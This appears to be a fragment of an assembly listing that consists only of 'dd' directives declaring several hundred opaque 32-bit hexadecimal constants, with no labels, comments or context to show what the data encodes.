dd 4F68E8A9h, 6082519Bh, 0CEC0CAF9h, 0B5802FE1h, 5AE83635h
dd 3D26D6B9h, 14640D31h, 17233Eh, 0AF89788Fh, 61C32AE8h
dd 0CBB1F860h, 485E7561h, 1BF82108h, 0AA6C008Ch, 162A5C15h
dd 892632D4h, 0E8417E95h, 106204F1h, 8BF9CE25h, 45BD2B82h
dd 61728208h, 903EFA19h, 4D42124h, 0A8181CF1h, 6D862100h
dd 735DE762h, 8F0F27FDh, 88222EEBh, 7EF86201h, 70B05FDh
dd 0C9822BA0h, 5F610034h, 1531BD31h, 488D306h, 0DAB08027h
dd 87A1DF6Ch, 0DD7891F7h, 0E04EA64Bh, 20CF0B5h, 0A226D616h
dd 9EA458DAh, 0BF0F4536h, 3B0A7008h, 27DDBD0Ch, 608922CDh
dd 8B03D770h, 1C69E17h, 54FB8615h, 15405914h, 24A707BEh
dd 9B01635h, 7B063D61h, 0B52B8820h, 0D9175B4Dh, 0F9EC03EAh
dd 0B757C392h, 0BE3901B1h, 71D3A9B8h, 4156F27h, 72CEBC59h
dd 0AC2105D6h, 0E8628077h, 0DB9B4A05h, 0BBCC4E84h, 3898DF10h
dd 8564045h, 2D299D89h, 2D505F0Eh, 0C82A0452h, 0AB004D10h
dd 88A506F7h, 84CD85h, 0E0D65862h, 757016EEh, 2C5E0F39h
dd 5A1F0531h, 5D080CB5h, 9C0CA002h, 0DE562C40h, 0C5E04350h
dd 0CF9D055Fh, 0B85BFAF0h, 2C8D7BB1h, 0F6331021h, 5083B801h
dd 0C5B4F4ACh, 2CF23020h, 7BB1A89h, 72183DF7h, 0B7570442h
dd 1B5D00C3h, 7AECDDBFh, 2EAF270Ah, 0F108C09Dh, 8B0F0914h
dd 0D6863971h, 20D6F77Eh, 8CD018C9h, 8C1BB83Eh, 0C321700h
dd 0BF5AD058h, 0DBC9D2C2h, 8C9C802Bh, 26CB612Ch, 0BA46CE7h
dd 0D8F9279Dh, 0B8622E10h, 3FC72501h, 0A66018C4h, 58EA5FB4h
dd 916497h, 512DDEE3h, 84AFBDBCh, 0B712C400h, 18A385FEh
dd 89A005D6h, 651029B5h, 0C8E3CA98h, 4770CB14h, 4906B134h
dd 0BF669701h, 0DA89F3F7h, 0E54F3125h, 0AEE61740h, 14470D65h
dd 0C8A895C8h, 1C55A18Dh, 0BB812B38h, 491533A9h, 98C80505h
dd 73A71455h, 5601AC4h, 2700A4DCh, 81318729h, 3432C6D1h
dd 8E82192Bh, 0C017C85Ch, 0B4DD571Ah, 0C2A9B0C9h, 873755EAh
dd 0BD21A100h, 0FE9A9762h, 0D00A33DAh, 4DDA0BEEh, 0AAD73CE4h
dd 33E06EF6h, 160A4247h, 0AAA863FCh, 11151D09h, 0F81301C6h
dd 2669CA10h, 69BD0B29h, 5184B0B5h, 20AAC047h, 0E6161C9Bh
dd 0DDFEBF01h, 6A1C695h, 5891DEDCh, 0CD156A90h, 4E50771Ah
dd 0B41D4875h, 0CED8658Bh, 0C0E74D9Dh, 0D9C197EFh, 8734B574h
dd 4D40D65Fh, 82346C09h, 0FE29005Ch, 49A9DE07h, 26A1E75h
dd 0FDE828Fh, 5ABF2252h, 86F39AA2h, 0F22AB269h, 0C2E17B41h
dd 5DA7E903h, 0B7B86137h
dd 0A6BE426h, 922AED0Ah, 1512A048h, 5CA9E137h, 8693DEA2h
dd 48535A8Dh, 5CE9CC8Fh, 5550956h, 0FD4DE129h, 53AC1DC0h
dd 0A7FC76F6h, 601D4482h, 5869DFF3h, 4793487h, 8AF7D595h
dd 846EBFC5h, 7E020E48h, 461F3091h, 0C9F197E1h, 0B82D6DC0h
dd 0F42BB43Ch, 110ECD21h, 2008AD8Ah, 5FAD462Bh, 21C93BDDh
dd 0C8C0CE2Fh, 8D5C11Ah, 87F2E802h, 8D0F3016h, 0ECB9F420h
dd 95E246Dh, 29650B7Bh, 9B5D604Ah, 4DE4FF00h, 2950BBF0h
dd 0BA3E860h, 3B7CA3E4h, 33A4B800h, 1D73A3Dh, 237C170Bh
dd 0C0269493h, 846E0F28h, 60590533h, 0D485F2C5h, 7FBFCC80h
dd 291B1C27h, 0C6E06761h, 2FC00EE8h, 0AB77DD40h, 3D860071h
dd 7EBA2C6Fh, 171F7DCh, 344BBD73h, 0AD500FE2h, 492B4609h
dd 28E9AC8Fh, 798133A2h, 0A6AC4EC6h, 5FECF2A4h, 0F3DE2F09h
dd 831D0BDCh, 0FC0390A7h, 0C8225AE4h, 15E7010Fh, 104F0CD7h
dd 0C73080B1h, 87AC51FDh, 48BB0E9Ah, 5B65256Eh, 4C5E6B90h
dd 0D1951775h, 5123C7F1h, 5D3019E2h, 0A2B80131h, 0BD0951ECh
dd 4AC962C5h, 0E5F0C3E6h, 87708261h, 7BD88327h, 0DB810000h
dd 17ADA160h, 9393CE97h, 0A0BB58AFh, 0B7BF7500h, 50C4D285h
dd 942FE38Dh, 0EB6F89h, 8BD19653h, 9D286D9Dh, 21B253CBh
dd 0FE1FF07h, 2130DFBFh, 3F88AA5h, 8E288D45h, 9F683B80h
dd 7100975Fh, 527555DAh, 5E7CD66h, 17CB314Eh, 13E813Ch
dd 6A5B0024h, 0A8379502h, 7A86331Ch, 9DB01B74h, 0C83A96EBh
dd 0EE5040F5h, 91E092FEh, 181BD1EEh, 0F01A01B8h, 7479257Bh
dd 61182010h, 4782E1AAh, 0C05A3145h, 14E520h, 3EF4DF81h
dd 6E9769Bh, 0FBE20E4Bh, 440D0C4h, 0AEC28CB7h, 8FCB2E1Dh
dd 48E97811h, 4DF462ACh, 86E2DD00h, 666CF3E8h, 0A7DB01F7h
dd 6263EED7h, 30F30CDh, 1058C48h, 0D8A8BA60h, 882B04C9h
dd 49029CCCh, 0E1098422h, 0B2E44861h, 0EF505C5Eh, 16C20422h
dd 4D90F9CDh, 4666E0B0h, 9D287D0Dh, 7520F6B9h, 0CB810033h
dd 2898D51Ah, 2E95FF64h, 0A2DB1332h, 0B1979F80h, 0C40AF623h
dd 0FE8615B4h, 6089108h, 2E258964h, 0F45DBCh, 49A7ADBAh
dd 2DFE8FCBh, 3622F124h, 27079908h, 1FE8CFE4h, 3018248h
dd 28FD5C96h, 7566C2A6h, 17912335h, 0ED76B881h, 84886A43h
dd 47BC00F3h, 0F48AF105h, 7F1376BAh, 0EB0ACF29h, 465C75FFh
dd 2B720019h, 4D8E92DCh, 0FFD9288Bh, 661A40DCh, 74F4BB12h
dd 246D7206h, 30FE45FBh, 26403170h, 0C44098B0h, 18270512h
dd 0A8219578h, 0B570E6CAh, 0C4562590h, 0BF171400h, 9F015FF9h
dd 71E43CBEh, 0D2CC381Fh, 2845ED4Ah, 0F97836C8h, 890BB678h
dd 4C24C99Dh, 716CD455h, 0C18B6C63h, 51E1262Dh, 30F9BD7Eh
dd 0F7D921A9h, 0C84F2BE2h, 5AD1D7F4h, 98A626E9h, 0A19E85F8h
dd 0C9953184h, 90D227EBh, 1371BD03h, 7E76CB5h, 0B6C4E8E1h
dd 0B115E0B8h, 0D40D8AD1h, 3850F936h, 0D0D09320h, 806119D8h
dd 4154E9FEh, 0C2A1BD64h, 29C65929h, 0DF02BDE5h, 1FC23803h
dd 8488CB5Ch, 0A5A8BC34h, 0B2FE4A1Ah, 0C14600CDh, 0AF80DA7Ah
dd 10CDA9A1h, 0B0BB606Eh, 9600CEC5h, 6255C966h, 281657Fh
dd 3C9D35E7h, 765C5B7Eh, 0C9B58D40h, 903998D2h, 5DDB1C1Bh
dd 6AED2D6Ah, 0F0F855C2h, 0A2C69522h, 50EDD981h, 6B7B9E2h
dd 41F2CFB5h, 42D550A2h, 107BFC98h, 4CECA70h, 62F268Dh
dd 90CA8CADh, 1F5A300h, 0E8DBEA55h, 26B5040Eh, 0E6FC2487h
dd 0E945E042h, 79B05BFh, 1C369055h, 382690D7h, 27B4EB8h
dd 601B5001h, 76D22BF9h, 0FEF444h, 15BBA9F8h, 4D060743h
dd 0D1C233ADh, 0C0D05E4Ah, 0FCF47567h, 0B5209AB0h, 880D270Bh
dd 0EED83AF3h, 87080040h, 8B894126h, 17413195h, 258179DEh
dd 9CD89EC2h, 1DC849Ch, 868D2E1Fh, 21D3E941h, 70CBDD6Eh
dd 18E4C228h, 8C10337h, 65F59B8Eh, 0ABBD5819h, 0C5ED9A52h
dd 5E0983B8h, 7E33683Fh, 4D0D4066h, 0BDF263CBh, 0B1AE7A00h
dd 800F8214h, 82229903h, 75BD23DAh, 0D8C0D2EAh, 75821885h
dd 0E998C584h, 4C45EC52h, 13225B51h, 80918AECh, 1966425h
dd 5EE80BBAh, 26D99336h, 0C7800756h, 4D128D03h, 0D04AF34Eh
dd 0BA1F590Eh, 2516E799h, 60044F01h, 57DE1FFh, 74029BB8h
dd 9D29501Ah, 0A227D8ADh, 44776280h, 39BD14F7h, 0F4DEA509h
dd 0B531C165h, 7CC1040Eh, 195822C9h, 14AA8101h, 0A49F0D27h
dd 60496786h, 69C33F6Dh, 2D91A8CFh, 0C79902DAh, 1519BD0Bh
dd 68DA4A89h, 0C3DCC297h, 1281F6C9h, 0B604E180h, 9334E1E4h
dd 0B716E06Ah, 0C90ADF18h, 820131E6h, 192D9660h, 0B18585C2h
dd 0B529020Bh, 337CA2C4h, 0CF287127h, 5E8840A9h, 0F33B9ED6h
dd 92695C0Fh, 42817CBCh, 0E4313C3Eh, 700075E3h, 0D445B81Ah
dd 10C97Bh, 58353A2Bh, 52509083h, 0E00E2590h, 0A5310F34h
dd 0B1810359h, 813B585Ah, 288B8351h, 1097249Ah, 0CBECB992h
dd 0FE73BE69h, 417770h, 0C03B5568h, 28939761h, 78169CF0h
dd 0FCB81CCAh, 46A0A38Eh, 0F1B4B07Eh, 50EE8B13h, 957AC8h
dd 54DBF690h, 4F45B5D7h, 1B7E3307h, 0C9703786h, 388CBC8Ah
dd 5F805BCCh, 63243481h, 1C4DD57Bh, 2AABC06h, 84B0BF14h
dd 6C700B76h, 0A0FE0541h, 0C706F95Bh, 0B0F204ADh, 81324078h
dd 140E39B2h, 2B85A302h, 121E0BBh, 35592E95h, 2E799E75h
dd 0B654286h, 902DCB2Eh, 0D22385F0h, 0D994303Bh, 9D0042CCh
dd 228DF298h, 7091D2A0h, 251D91C7h, 0DE0692B7h, 7F8049F6h
dd 18BB80D5h, 2C1BF21Eh, 8B27B5CDh, 8613DB6Ah, 975CC90Fh
dd 0D282E04Ah, 74830DD9h, 0D080CCDh, 1A719Dh, 0F456D781h
dd 892C5C4Eh, 5DE3606h, 0EB270659h, 142682EEh, 4012FC29h
dd 0EC97343Fh, 0AD74F400h, 6688F071h, 0A81C129Bh, 9BED6541h
dd 8EB5CAFAh, 0B707461Fh, 4695022h, 70A8F94Eh, 20FFCE87h
dd 0AF23B868h, 2D930A00h, 209F7F4h, 87F509D1h, 52BB5FFh
dd 84F7C398h, 6D4C38h, 36599269h, 0F31C34h, 766825E0h
dd 0BBA7F4F7h, 1625D8F4h, 0A66581Ah, 582A0C89h, 34E508B5h
dd 52308D12h, 4E952360h, 0F0004A1h, 0FE31FB81h, 61002D41h
dd 3374BF90h, 1B78402Eh, 0A479F91Eh, 88C995FEh, 8D941FA6h
dd 5E618BF9h, 4D31DC03h, 29A586F5h, 6385C701h, 0FC2B6535h
dd 67134084h, 0B9E16657h, 0C3C39B3Eh, 4821E940h, 4510FB13h
dd 30500A27h, 441CE30Ch, 0E8C101C3h, 700ED610h, 254C7E02h
dd 15215803h, 0BB36EBE7h, 8764C036h, 1BC6C23Dh, 28682950h
dd 58191821h, 57A10113h, 8B13381Bh, 0E0A9E6C0h, 125D4F0Fh
dd 0C43627ABh, 19BC0859h, 82DF8189h, 0E047B1C4h, 0B906B910h
dd 0FD81490Ah, 3F04A485h, 7D808DDEh, 48124783h, 0C212FAE0h
dd 0DD30B0D9h, 3C8F680Bh, 0B3806DB5h, 0EB2E158Ch, 0E824B8C7h
dd 5E5903C5h, 49018D9Fh, 9CF61321h, 0F03B27B5h, 68011823h
dd 0DFB1FB66h, 9A757D20h, 646D9D9Eh, 66E2FDC0h, 0F603051Dh
dd 0EB9FB8E4h, 27173108h, 2D63EFD8h, 561FB50Dh, 0F3F1A6B9h
dd 0A5023073h, 55C7B3CBh, 3A04520Dh, 1581BE9Bh, 70A92E03h
dd 1BD311F9h, 4920C8h, 0CEFC93ABh, 6ECD776Fh, 0F2C82B09h
dd 0E8859B96h, 80A855h, 8CEAEC6Dh, 65564482h, 85DFFF04h
dd 57E8E94Ah, 455F8B3Ch, 64F59665h, 359305E3h, 255AB20Dh
dd 0D0117B23h, 2001A875h, 17768216h, 0BD4AFC01h, 0CE6A5Fh
dd 0C9122A4h, 14163741h
dd 0C5677D9Fh, 9194074h, 0A2B501ECh, 4841854Fh, 5A8689BBh
dd 0B035B7C4h, 0B030C6Bh, 6705B597h, 7AA6F706h, 3A122AE3h
dd 208D37D8h, 830B1049h, 90E904C2h, 3E677Bh, 0E39B2B8Fh
dd 89DB726Fh, 31205006h, 98AF7985h, 0CFC1132Ah, 0BC65B9ABh
dd 176B0794h, 8010DEDCh, 0BE02BB66h, 8029E848h, 79A75DF3h
dd 7F470006h, 9E744FB0h, 2CC16001h, 0F8BF15A9h, 4834AFD8h
dd 86255F61h, 9529D6A1h, 1E892E35h, 7492E2Ch, 0E105B693h
dd 64CC05C9h, 95890B85h, 9ECE23E1h, 0A83DE49Dh, 0E2F2E729h
dd 0B70F0B2Fh, 11925BDEh, 0DCFA5Eh, 7540B26h, 0E78877C4h
dd 5D558790h, 886F1AEFh, 59CDC116h, 80706CFFh, 0ADE321CFh
dd 0DD1E06F6h, 0EC971BF5h, 0EF1D0925h, 0C52B414Eh, 75ECD817h
dd 1653634Dh, 31230B19h, 0EB5F49FDh, 5B27A54Eh, 76D7C0F0h
dd 2FD4112h, 2923A6FBh, 0B4F8198Dh, 8D90964Fh, 4FE3BF66h
dd 88738339h, 7DB45384h, 0CD9698Bh, 4625A6D9h, 3008D2B6h
dd 32649A84h, 811C2B3Eh, 8F71D240h, 1547BFC4h, 0AF23C750h
dd 0F26F9A63h, 174D298Dh, 0AF8B49E1h, 0DB50E546h, 1040D5BDh
dd 805C9EE8h, 0D3233C30h, 1A02358Ch, 16DD598Bh, 85F682A5h
dd 5B5149B1h, 5812E48h, 0C21BF8F7h, 56E8D47Dh, 40A07BBFh
dd 1C002647h, 0DE0BC045h, 0AB74385h, 0E124F729h, 31F508EDh
dd 57350210h, 0F76EAA35h, 4D96D701h, 20137666h, 2295C183h
dd 6A81859Fh, 70FFF352h, 0AF5CEA61h, 0FA60DE6h, 0C6C11D8Eh
dd 85C70685h, 0ADC0E1C9h, 4000CF10h, 0C96C8C5Ch, 49BD3313h
dd 7B0E9AEDh, 0AD37FFF3h, 0ABB842h, 436DA10Fh, 519D0B1Fh
dd 26561B5Fh, 6EB977ADh, 4EC4C580h, 965D0470h, 0BCFB8B6Bh
dd 30E0D465h, 0BB500D59h, 97802DC2h, 245E1350h, 74E00FA6h
dd 0DE0DBB92h, 442745D0h, 7B86E3Fh, 0EB309D2Ah, 0B71D7261h
dd 6A82232Fh, 5C4687B0h, 2CDC8D00h, 0C83AA411h, 5B9C27CBh
dd 7AD5C810h, 0CF6A9600h, 0EE5ED03Ch, 0E52E5B24h, 550FD9Bh
dd 0F93109ABh, 0A4007859h, 8F2D8406h, 8AF8A0h, 0E0AEBB4Ch
dd 53678D6h, 61267A12h, 723C66F1h, 504A1020h, 570E8120h
dd 0FF4400F1h, 2B6BD8A4h, 0B70A9C17h, 0B0421558h, 0B0737A7h
dd 0C9C0AC2Ah, 66802F4Dh, 2FC77281h, 324D6AB7h, 0C8F031E1h
dd 1754FCF8h, 7A6AFA86h, 30600065h, 5D971B4h, 0DA791253h
dd 242AA04Dh, 97DD8A80h, 456D46BAh, 87F03660h, 0F87C091Eh
dd 4579865Eh, 30656EB1h, 29D1FF00h, 0E285B527h, 51245CE6h
dd 4D801578h, 5A6A8BDFh, 0E01EB602h, 3994B62h, 0FEE49C76h
dd 0B0BCA394h, 601650D1h, 0BAACC68Ah, 0EC299D7Ch, 23700D5Bh
dd 0BBFB0020h, 3529052Fh, 290EE95h, 3D73DB17h, 8D0F6961h
dd 57008E79h, 0E7DCF381h, 94906CAAh, 0FCEFF4Bh, 5950DF10h
dd 1273BC45h, 35E88E0Eh, 0AD570AA7h, 6A0C00E7h, 0E5B2985Dh
dd 4A880402h, 0C63DC91Eh, 0D2F90343h, 0B79314D0h, 1715A7B0h
dd 66F5D609h, 0AC32795Fh, 83FADE2Ah, 0F3239C01h, 50A252B9h
dd 0C7BF112Bh, 7724205Eh, 9C0485A1h, 356B829Dh, 568419BDh
dd 0E90FC53h, 325B7016h, 15E2F8E6h, 902D2130h, 0EDD2FEBh
dd 4D6B0251h, 27EE47F0h, 0EF0009C7h, 0E9775B26h, 7CF3B8C2h
dd 2F09D7C6h, 0FF56BBF2h, 0C0CDB05Bh, 0E99D1123h, 0E8B52F2Fh
dd 698C0FACh, 0CB182F10h, 9000D9Ah, 0A589BE98h, 4BD7DFC1h
dd 7BF09816h, 0BF600140h, 0F20B53C1h, 0A65218F5h, 0EEFC3Fh
dd 61BD4696h, 15AD506Ah, 446F4500h, 0A3F6286Dh, 0E1B0FA43h
dd 54CBF481h, 4770E604h, 70784B2h, 8D8571E4h, 33FEC0C5h
dd 815B3B68h, 0D2D92720h, 0E72302F0h, 0DDEC6EB4h, 0BDCFB075h
dd 5F2C4075h, 76138C97h, 370117CFh, 2A5FB3BAh, 1EB0EAB5h
dd 70F3C569h, 5853118h, 2FFC8AEBh, 0C5BF1A00h, 2D7E1709h
dd 48E6860Fh, 198ADB12h, 930124F1h, 2B010331h, 803228C8h
dd 0DD515CCAh, 8508039Eh, 72E1534Dh, 810FF1F8h, 0C37F28A4h
dd 0E15B2E25h, 5A171B45h, 6F4A40E1h, 3E03F773h, 2529D59Fh
dd 55ACA9FFh, 0B8E280E8h, 61654526h, 93276EE5h, 5E305D62h
dd 1197485Dh, 0E1126BC5h, 25A5F965h, 173250C9h, 0FEC8464h
dd 0AF9F81C5h, 90CF6C20h, 0DF9800E0h, 510BC924h, 357BE212h
dd 59195600h, 5FEDDE23h, 2250FBE9h, 3831C468h, 0F7CE29BDh
dd 88834B58h, 75143F60h, 0CE098144h, 7961ABBAh, 0FF281479h
dd 0D10879C6h, 0FE25A550h, 9E175EACh, 21A28952h, 0B1BD230Bh
dd 30978558h, 81DB776Dh, 8D7CDE29h, 0E8A96A97h, 0CC09B6BCh
dd 79A4ED51h, 82F8AD6Fh, 179BB924h, 0C1894DA5h, 0F486962Eh
dd 19629A0Ah, 8057DB54h, 46AE799h, 7A8B975Fh, 0C967737h
dd 9C802ABh, 84A2E195h, 0F07BC02Bh, 771170h, 0FE9983CFh
dd 0F07563F7h, 0A8DCBA4Dh, 0C9008C1Ah, 7B578847h, 530F3562h
dd 0BB09F987h, 4F7999F3h, 0DCA5FCEBh, 28413712h, 0A192304h
dd 98556009h, 208D2B66h, 0F82D03D1h, 19EB761h, 1197FFEDh
dd 9B202F7Dh, 69852960h, 9C0277ADh, 61052601h, 0F86250A3h
dd 855E84CCh, 50D2D3EBh, 90009CE2h, 6C58B897h, 974A3755h
dd 31838495h, 90EA595h, 1BD9BDA9h, 46C44B79h, 0BCD88B44h
dd 66049217h, 0E71229B9h, 5F9A5E1Ah, 0AD50A88Ch, 0EC312240h
dd 0FF33406Dh, 0C20FE13Fh, 0B235124Fh, 2B6D89F9h, 4CB72Ah
dd 82C006A8h, 0FC09C170h, 0D9842F14h, 0D06A00E7h, 0BD1CFE9Ch
dd 184B0ABAh, 453223CEh, 7960F587h, 2DBE2425h, 0D7FB8658h
dd 0E058A6A1h, 2E43ACADh, 0DE4960CCh, 0C47BBA27h, 0DC650029h
dd 14D11384h, 0B5FA8862h, 24F524Ch, 5F26B8DFh, 274E5E5Bh
dd 0C0CF04EDh, 0E1E465CDh, 0C6A4031Dh, 0DDBD0BD2h, 0FA0412BCh
dd 76BC3557h, 12C4B34Ah, 5CF433B7h, 0B537BA4Ch, 0D0274DB7h
dd 2ADD259Ch, 0C39278EEh, 0D3BEB09h, 95797A5Bh, 0B740096Fh
dd 9F5B8DF5h, 7190A461h, 0B3680021h, 0FDE65001h, 0B8E92DF9h
dd 0FDF500A7h, 4F628587h, 354EB796h, 3D4CA20h, 0ABE09Fh
dd 9033A958h, 79D19EC4h, 3843780Eh, 0F6A45782h, 192507EBh
dd 259D3368h, 0B212FBBFh, 0EECCB2A0h, 0F8402DEBh, 594AE8C2h
dd 6D698D54h, 69A1C3A0h, 0DB5EC790h, 0F976FC2Fh, 9B130EB7h
dd 0B9772BC0h, 6518C2CEh, 97EB8A3h, 455C8210h, 78665B69h
dd 0B30790A8h, 1CCE9EAh, 780AD309h, 0DA38D586h, 13DE97F1h
dd 8D4B0FBCh, 0B8BC2977h, 3BD20F12h, 304B1B7h, 0C18ABCBCh
dd 35952B60h, 97612734h, 0A2E0699Ah, 9A972E31h, 0DCFBDE45h
dd 564F2201h, 0D593F24Eh, 0B9F35A81h, 66068982h, 0F851F34Fh
dd 4CCC8D5h, 52488483h, 2520EBDBh, 7C0368Dh, 5879F1D2h
dd 1FD583F7h, 6C76A990h, 2C17FB09h, 0AD637BC2h, 33EA735h
dd 0EA781AB0h, 0D3D60960h, 6C78AABBh, 0D65148h, 0BF505BFFh
dd 5F5A979Fh, 0A963132Fh, 76B6BC24h, 6CA86FE8h, 0BC5E8004h
dd 0D970D882h, 62D21668h, 0C1C4D37h, 6753043h, 0A7C3D98Ah
dd 612D0A40h, 0FB01282Fh, 0F9457078h, 0D5969B97h, 543720FAh
dd 84055A1Fh, 9DD85601h, 30025B2h, 0AC0A2EB2h, 3D168496h
dd 1BD4A695h, 0A40332A2h, 0C70D4059h, 5FDF60EBh, 5D94C0C0h
dd 3538F612h, 5BD58E4Ch, 37F9375Fh, 4D502F50h, 0C2972DF2h
dd 20D66165h, 4C3418DCh, 0D86E58BDh, 0E50BE125h, 0B456A5B2h
dd 0B60F12DCh, 90CCE261h, 0E3885A13h, 0D5C60381h, 5AA0DA9Ah
dd 217120E2h, 1F67F304h
dd 96EEBEBCh, 6E806E9Ah, 8658B2FDh, 0E7D22605h, 8E34940Dh
dd 0B0C53098h, 9DAB26FEh, 2E01DE57h, 0C005740Ch, 282F94CBh
dd 2389E7DFh, 103A1DF5h, 0D4B3E07Bh, 8D29271Ch, 36B20392h
dd 16B16BD6h, 0F08980FBh, 6202A650h, 0F4C500F6h, 5CB9D5AFh
dd 9C3BDAEEh, 5F6912E8h, 0A04BC1F3h, 0DB1E8130h, 1E92DF7Ah
dd 6A5EDDE7h, 1BE70076h, 517EAB9h, 85C50001h, 0BB6644B7h
dd 0B597360Ch, 811B91A1h, 0E1BB654Ah, 1277ADD0h, 0B99D897Bh
dd 0F96063Ch, 0B0310488h, 0B90B4C83h, 9DCDBF7Ch, 0CE32E0CEh
dd 0FBF385h, 0A8B7F9BFh, 27F78023h, 0BB4DFA6h, 96F700DEh
dd 7C550BADh, 4D05EEF9h, 0DDBD332Eh, 160447D5h, 89B9309Dh
dd 183D1980h, 0CC2DC160h, 0EAFE66CAh, 5BA725E3h, 3109E9E6h
dd 0D130258Dh, 0FFDE6B88h, 13BE2D4h, 748D8466h, 6816D044h
dd 0B753804Bh, 2DB6DD39h, 9DCC48A7h, 0E612D225h, 0DCF096D3h
dd 0AA88E403h, 0B57D0A39h, 5831D5C2h, 0A1605BDFh, 8100C2B6h
dd 13FA82E1h, 0A1615F54h, 51707E09h, 3C73CB4h, 2E7A3DF3h
dd 75B89E82h, 32000C4Ch, 0C4204663h, 40699529h, 0AC9C5F08h
dd 5E6519E2h, 0C3800EFAh, 0E45081CDh, 8A9707AAh, 0DE70F5h
dd 0D52A9569h, 7BE5B396h, 0F5203178h, 29510919h, 0F6C1919Dh
dd 20373A5Bh, 0A105F9E5h, 72A9B886h, 2932A3ECh, 5E15680Bh
dd 9CF34B51h, 21AAD70h, 8885D5D3h, 9A4CA2E5h, 9860298Dh
dd 0F6EC0C26h, 76FA2F4Ch, 0E67EB2A9h, 913100F4h, 0EE0EBBE1h
dd 965F5401h, 30106B2h, 626023DBh, 4CFA4050h, 7CED964Ah
dd 75598150h, 81E0BAAEh, 5F82253Ch, 8B2240ECh, 8D891606h
dd 4B72E82Dh, 0F3100CDh, 3D44922Dh, 5E0209E4h, 0E77943A8h
dd 53279C4Fh, 318FD061h, 25FDDA4Ch, 9364D8h, 132B47F2h
dd 8E98F92Eh, 44CCDB03h, 0CCFA91E8h, 6E4EB8E9h, 0FB9B0024h
dd 9D8B2E94h, 7E055821h, 88468BE4h, 8248C018h, 0DD4BF7A8h
dd 0EA68EACDh, 3756E35Ch, 0ED3015E2h, 2F6A62Ah, 9286BCA4h
dd 7AE2E2A0h, 0CD2A995Ch, 6D01BA97h, 54C960E6h, 754F9D09h
dd 0F6B85FC4h, 522F6BA2h, 349213EFh, 0D3D8B9E1h, 4B804DDAh
dd 86A6648Eh, 0C862D402h, 5EF5F303h, 0CA3725D7h, 69276400h
dd 0BD11BBFh, 4DF6FACCh, 0BA007644h, 50EC1351h, 4EB70F3Fh
dd 0C80A9EF9h, 8C7CC514h, 0EA16AA4Bh, 0CFFC0CBAh, 32D61A07h
dd 1BD220B5h, 89174BFAh, 0EFED81BDh, 0AC915476h, 0F2371CE9h
dd 0B58942FFh, 1741A9Dh, 50887B69h, 5001869Ah, 0F10AFC9h
dd 81150682h, 425155Fh, 0F0D608BCh, 0DC3B3231h, 486E4E50h
dd 0D6CC0D0Eh, 0F853F143h, 890F4415h, 0B97E98AEh, 48168405h
dd 0D5C1AC61h, 0C0111E09h, 0EA7F3005h, 8A90EE0Ah, 8E294AFEh
dd 4B518280h, 2FF64D26h, 864FB6FEh, 90CE5741h, 4CB2E02Ah
dd 67C82619h, 0F11403B8h, 8DBA8922h, 3BBA5F21h, 0A151E204h
dd 8A9D2BC3h, 3DA8F529h, 530E9302h, 0E10CD380h, 3C70D1ADh
dd 392FE1E1h, 2AB00962h, 6D80C09Bh, 0E26EF24Bh, 26AB916h
dd 9B00696Fh, 0E780A5B6h, 0BF709088h, 0C0951E7Ch, 8B0C87F0h
dd 27982B2h, 0F1EE9066h, 5E4CAD66h, 63104172h, 0D86C09A2h
dd 18B9463h, 0FD050B7Dh, 20A3EE17h, 6539E963h, 0E738A55Bh
dd 61520873h, 50A9534Bh, 8625BFFEh, 538D50E3h, 5005221h
dd 4904846Fh, 2D0EBDDAh, 0AF79EEh, 0E1B9301Bh, 0F88F1758h
dd 53098C5Bh, 0B3719497h, 533458E4h, 0D912BE00h, 29A74BE0h
dd 2471208Dh, 84C69050h, 5F5639A0h, 54872EE3h, 0C0CE4DE9h
dd 6F762ABCh, 41BFEF00h, 3353A3E0h, 19F54A9Dh, 0C285E461h
dd 12A47329h, 6A9CF1F9h, 1CC85F8Fh, 21B27CC0h, 16EDF8E8h
dd 0A83E89D9h, 0F1222036h, 97195DD8h, 35BDA996h, 0C7A10696h
dd 0A52D5451h, 0F2DEAE2Fh, 6AC845BBh, 0B830BDFFh, 0DD79005Ch
dd 8FF3876h, 0C953D2Ch, 5A0FBBF1h, 0A25A5681h, 4A7300F6h
dd 0CCE66517h, 0AFB52EE1h, 0BEBD123Eh, 2900367Bh, 84A7B252h
dd 0BB041E7Ch, 6E5B3666h, 5088D0BDh, 718C0F89h, 0FED08470h
dd 138F1B0h, 6C70E65Eh, 71E41243h, 81050708h, 9545EBBFh
dd 0BC482F4Dh, 0CAE4A724h, 60734A00h, 0DE4ECA92h, 26810952h
dd 0B27816ABh, 0EA3CDBEEh, 0E43B25E2h, 0AC2964B3h, 0B122C804h
dd 83A43458h, 0D1AFCB81h, 0D22B2AF8h, 9257D8CBh, 2DF141C7h
dd 4054BBAEh, 0B3DE9184h, 5A46AD03h, 0A023F555h, 1F02F80h
dd 9D18BA6h, 2B28C58Dh, 58195D8h, 912F36C3h, 197C14Dh
dd 0D8D82B25h, 0AD709Dh, 0E6710BA9h, 26C26950h, 324E9610h
dd 0E195C263h, 9D233904h, 9DBC2469h, 0F69E6298h, 0E95AF225h
dd 0BA140B9Dh, 822E4989h, 55093185h, 57D9649Ah, 8660A700h
dd 74DFF07Eh, 0FEB8EA4Ch, 476E074h, 0CDBDBA05h, 887EBC2Ch
dd 11E4AD4Fh, 0AD613603h, 0F8F4259Ch, 15F2368h, 2C8B1F0Bh
dd 42C49D56h, 3D2818FEh, 44EDF180h, 771B5EBh, 0B31E34E8h
dd 48A8A06Dh, 2E051A16h, 0A583F9E2h, 5FE5B0Bh, 8D08DFC7h
dd 89319D01h, 0A57933EDh, 0EB8142h, 29519D8Bh, 0FC2E9Ch
dd 38096DB7h, 0DA368798h, 7DB52909h, 0C7BB5F2Fh, 38F99DE1h
dd 93B91F99h, 69424DE4h, 0EC090535h, 91E192DBh, 8083203Bh
dd 0FE2C932Dh, 0F4000649h, 77474EA5h, 6EFC5BB5h, 88C007F1h
dd 89492BD6h, 5061CA58h, 9FD2F6C8h, 0EFC00A6Dh, 48F109F4h
dd 71109CC6h, 788F4B1Bh, 1FEF8101h, 2D7B4C98h, 21EB8BFh
dd 0CEFEBE07h, 5C7133B7h, 9EC76101h, 242F43F2h, 0F903C157h
dd 9F757A14h, 0E550404h, 2BD62DAFh, 5F09EE6Ah, 4A79CAB7h
dd 1B79255Bh, 0F8D00CD3h, 7286139Ch, 0FCD04ACh, 7893C98Ah
dd 88DB0CFDh, 12EB0A93h, 0F261DE4Bh, 33A38D78h, 20B6E2Fh
dd 772D9CF5h, 61F2C1FBh, 9945DFEh, 2D45394h, 2A8864E8h
